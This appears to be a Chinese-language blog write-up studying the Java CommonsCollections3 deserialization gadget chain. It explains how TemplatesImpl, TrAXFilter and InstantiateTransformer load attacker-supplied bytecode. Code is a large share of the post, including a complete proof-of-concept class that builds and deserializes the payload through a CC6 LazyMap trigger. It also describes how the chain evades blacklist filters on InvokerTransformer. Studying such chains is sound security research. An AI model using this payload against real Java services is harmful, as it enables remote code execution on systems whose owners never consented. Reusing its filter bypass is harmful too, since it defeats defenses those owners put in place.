Java安全-CC3

CC3 的目的是为了找到除invokeTransformerRuntime#exec之外的可以实现命令执行的漏洞点

TemplatesImpl#newTransformerTrAXFilter#TrAXFilter

一、主要逻辑

1.危险调用点

这里用到了之前所学的动态类加载方法defineClass,但是大部分直接实现的defineClass方法都私有的

经过寻找,我们找到了TemplatesImpl

image-20260124171321899

于是可以使用他的一系列逻辑加载我们的恶意外部类

2.TemplatesImpl#newTransformer

尝试使用一个公有方法调用defineClass

defineTransletClasses这个方法调用了defineClass

image-20260124172036610

将其加载参数改为恶意类

1
2
3
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));

setFieldValue(obj, "_bytecodes", new byte[][] {code});

此方法依旧为private,又找到getTransletInstance方法

image-20260124172537360

但是需要满足图中的条件,通过反射设置

1
2
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

_tfactory这个参数会在TemplatesImpl反序列化的时候自行赋值

image-20260124173107692

此方法依旧为private,于是找到了公开的newTransformer

image-20260124173716487

这里就是最终的出口点,我们只需要调用构造好的TemplatesImpl类下的newTransformer方法,即可成功实现链路逻辑,加载恶意外部类

但是还有一点需要注意defineTransletClasses方法在加载完类后,会判断,从而影响下一步getTransletInstance的类的实例化

image-20260124174304831

所以为了保证逻辑不出问题,我们在构造恶意类时需要继承与常量类,并且实现需要的方法

1
public class HelloTranslet extends AbstractTranslet {

尝试打通,后面具体的调用方法,我们暂时用CC6TiedMapEntry实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Transformer constantTransformer = new ConstantTransformer(obj);
Transformer[] chuan = new Transformer[]{constantTransformer, invokerTransformer};
Transformer chainedTransformer = new ChainedTransformer(chuan);
Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};


Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan0000));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
HashMap obj2 = new HashMap();
obj2.put(tiedMapEntry, "bar");
map.remove("foo");

Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, chainedTransformer);

3.InstantiateTransformer#transform

前面我们已经打通了一部分,替换掉了 Runtimeexec,这一步我们时用来替换 InvokerTransformer

image-20260124180116215

找到 TrAXFilter 类的构造方法调用了上一步的 newTransformer 方法

我们继续往上,又找到 InstantiateTransformer类的transform方法会调用输出类参数的构造方法

image-20260124180439980

进行构造

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj});
Transformer constantTransformer = new ConstantTransformer(TrAXFilter.class);

参数 obj 为我们之前构造的 TemplatesImpl

自此,链条全部打通

image-20260124180727848

二、链路回顾

1.最终 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package CC1;public class chuan {

public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj});
Transformer constantTransformer = new ConstantTransformer(TrAXFilter.class);


Transformer[] chuan = new Transformer[]{constantTransformer, instantiateTransformer};
Transformer chainedTransformer = new ChainedTransformer(chuan);
Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};


Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ChainedTransformer(chuan0000));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
HashMap obj2 = new HashMap();
obj2.put(tiedMapEntry, "bar");
map.remove("foo");

Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, chainedTransformer);

serialize(obj2);
unserialize();

}

private static void setFieldValue(Object obj, String bytecodes, Object bytes) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(bytecodes);
field.setAccessible(true);
field.set(obj, bytes);
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chuan.txt"));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("chuan.txt"));
return ois.readObject();
}
}

2.链路

1
2
3
4
5
6
7
8
CC6链路
->InstantiateTransformer#transform 这里,我们连入了CC链
->TrAXFilter#TrAXFilter
->TemplatesImpl#newTransformer
->TemplatesImpl#getTransletInstance
->TemplatesImpl#defineTransletClasses ->TemplatesImpl#newInstance
->TemplatesImpl#defineClass
->实现加载恶意类

3.总结

CC3链非常巧妙的绕过了黑名单中 InvokeTransformerRuntime 限制,利用 ClassLoader#defineClass 直接加载字节码的手段

这个CC3的发明很有来头,2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your

day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安全的过滤⽅法,于是尝试过滤一些 CC

的主要关键字,如下

image-20260124215007747

CommonsCollections3 的⽬的很明显,就是为了绕过 InvokerTransformer 的限制,使用了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java来绕过,

当然,这个链还是受到,jdk 版本以及common collections 版本影响

image-20260125204949270